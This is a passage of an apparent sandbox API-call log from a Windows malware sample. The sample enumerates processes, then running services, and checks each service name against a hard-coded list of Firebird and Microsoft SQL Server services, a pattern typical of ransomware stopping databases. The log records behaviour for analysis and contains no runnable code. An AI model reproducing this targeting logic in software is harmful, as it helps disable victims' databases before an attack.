returned 11 [0113.429] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0113.429] lstrlenW (lpString="taskhostw.exe") returned 13 [0113.429] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0114.247] lstrlenW (lpString="UsoClient.exe") returned 13 [0114.247] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.248] lstrlenW (lpString="taskhostw.exe") returned 13 [0114.248] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0114.249] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0114.249] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0114.250] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0114.250] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0114.251] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0114.251] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.252] lstrlenW (lpString="conhost.exe") returned 11 [0114.252] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.253] lstrlenW (lpString="conhost.exe") returned 11 [0114.253] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.254] lstrlenW (lpString="svchost.exe") returned 11 [0114.254] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0114.255] lstrlenW (lpString="finbbp.exe") returned 10 [0114.255] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.255] lstrlenW (lpString="dllhost.exe") returned 11 [0114.256] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0114.256] lstrlenW (lpString="cmd.exe") returned 7 [0114.256] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.257] lstrlenW (lpString="conhost.exe") returned 11 [0114.257] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0114.258] lstrlenW (lpString="sppsvc.exe") returned 10 [0114.258] Process32NextW (in: hSnapshot=0x318, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0114.259] CloseHandle (hObject=0x318) returned 1 [0114.259] Sleep (dwMilliseconds=0x1f4) [0115.353] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ee818 [0115.355] EnumServicesStatusExW (in: hSCManager=0x4ee818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0115.357] GetLastError () returned 0xea [0115.358] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1d4a) returned 0x38d3288 [0115.358] EnumServicesStatusExW (in: hSCManager=0x4ee818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x38d3288, cbBufSize=0x1d4a, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x38d3288, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0115.360] CloseServiceHandle (hSCObject=0x4ee818) returned 1 [0115.361] lstrlenW (lpString="Appinfo") returned 7 [0115.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0115.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0115.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0115.361] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0115.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0115.361] lstrlenW (lpString="AppXSvc") returned 7 [0115.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0115.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0115.361] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0115.361] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0115.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0115.361] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0115.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0115.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0115.361] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0115.361] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0115.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0115.361] lstrlenW (lpString="Audiosrv") returned 8 [0115.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0115.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0115.361] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0115.362] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0115.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0115.362] lstrlenW (lpString="BFE") returned 3 [0115.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0115.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0115.362] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0115.362] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0115.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0115.362] lstrlenW (lpString="BITS") returned 4 [0115.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0115.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0115.362] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0115.362] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0115.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0115.362] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0115.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0115.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0115.362] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0115.362] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0115.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0115.362] lstrlenW (lpString="CDPSvc") returned 6 [0115.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0115.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0115.362] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0115.362] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0115.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0115.363] lstrlenW (lpString="ClickToRunSvc") returned 13 [0115.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0115.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0115.363] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0115.363] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0115.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0115.363] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0115.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0115.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0115.363] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0115.363] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0115.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0115.363] lstrlenW (lpString="CryptSvc") returned 8 [0115.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0115.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0115.363] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0115.363] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0115.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0115.363] lstrlenW (lpString="DcomLaunch") returned 10 [0115.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0115.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0115.363] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0115.363] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0115.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0115.363] lstrlenW (lpString="DeviceAssociationService") returned 24 [0115.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0115.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0115.364] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0115.364] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0115.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0115.364] lstrlenW (lpString="Dhcp") returned 4 [0115.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0115.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0115.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0115.364] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0115.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0115.364] lstrlenW (lpString="Dnscache") returned 8 [0115.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0115.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0115.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0115.364] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0115.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0115.364] lstrlenW (lpString="DoSvc") returned 5 [0115.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0115.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0115.364] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0115.364] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0115.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0115.364] lstrlenW (lpString="DPS") returned 3 [0115.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0115.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0115.364] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0115.364] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0115.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0115.365] lstrlenW (lpString="DusmSvc") returned 7 [0115.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0115.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0115.365] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0115.365] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0115.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0115.365] lstrlenW (lpString="EventLog") returned 8 [0115.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0115.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0115.365] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0115.365] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0115.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0115.365] lstrlenW (lpString="EventSystem") returned 11 [0115.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0115.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0115.365] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0115.365] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0115.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0115.365] lstrlenW (lpString="FontCache") returned 9 [0115.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0115.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0115.365] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0115.365] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0115.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0115.365] lstrlenW (lpString="gpsvc") returned 5 [0115.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0115.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0115.366] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0115.366] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0115.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0115.366] lstrlenW (lpString="iphlpsvc") returned 8 [0115.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0115.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0115.366] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0115.366] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0115.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0115.366] lstrlenW (lpString="KeyIso") returned 6 [0115.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0115.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0115.366] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0115.366] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0115.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0115.366] lstrlenW (lpString="LanmanServer") returned 12 [0115.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0115.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0115.366] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0115.366] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0116.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0116.203] lstrlenW (lpString="LanmanWorkstation") returned 17 [0116.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0116.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0116.203] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0116.203] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0116.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0116.203] lstrlenW (lpString="lfsvc") returned 5 [0116.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0116.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0116.203] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0116.203] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0116.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0116.203] lstrlenW (lpString="lmhosts") returned 7 [0116.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0116.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0116.204] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0116.204] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0116.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0116.204] lstrlenW (lpString="LSM") returned 3 [0116.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0116.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0116.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0116.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0116.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0116.204] lstrlenW (lpString="MapsBroker") returned 10 [0116.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0116.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0116.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0116.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0116.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0116.204] lstrlenW (lpString="MpsSvc") returned 6 [0116.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0116.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0116.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0116.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0116.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0116.204] lstrlenW (lpString="NcbService") returned 10 [0116.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0116.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0116.204] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0116.204] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0116.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0116.204] lstrlenW (lpString="netprofm") returned 8 [0116.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0116.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0116.205] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0116.205] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0116.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0116.205] lstrlenW (lpString="NlaSvc") returned 6 [0116.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0116.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0116.205] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0116.205] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0116.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0116.205] lstrlenW (lpString="nsi") returned 3 [0116.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0116.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0116.205] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0116.205] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0116.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0116.205] lstrlenW (lpString="PcaSvc") returned 6 [0116.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0116.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0116.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0116.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0116.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0116.205] lstrlenW (lpString="PlugPlay") returned 8 [0116.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0116.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0116.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0116.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0116.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0116.205] lstrlenW (lpString="Power") returned 5 [0116.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0116.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0116.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0116.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0116.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0116.206] lstrlenW (lpString="ProfSvc") returned 7 [0116.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0116.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0116.206] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0116.206] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0116.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0116.206] lstrlenW (lpString="RpcEptMapper") returned 12 [0116.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0116.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0116.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0116.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0116.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0116.206] lstrlenW (lpString="RpcSs") returned 5 [0116.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0116.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0116.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0116.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0116.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0116.206] lstrlenW (lpString="SamSs") returned 5 [0116.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0116.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0116.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 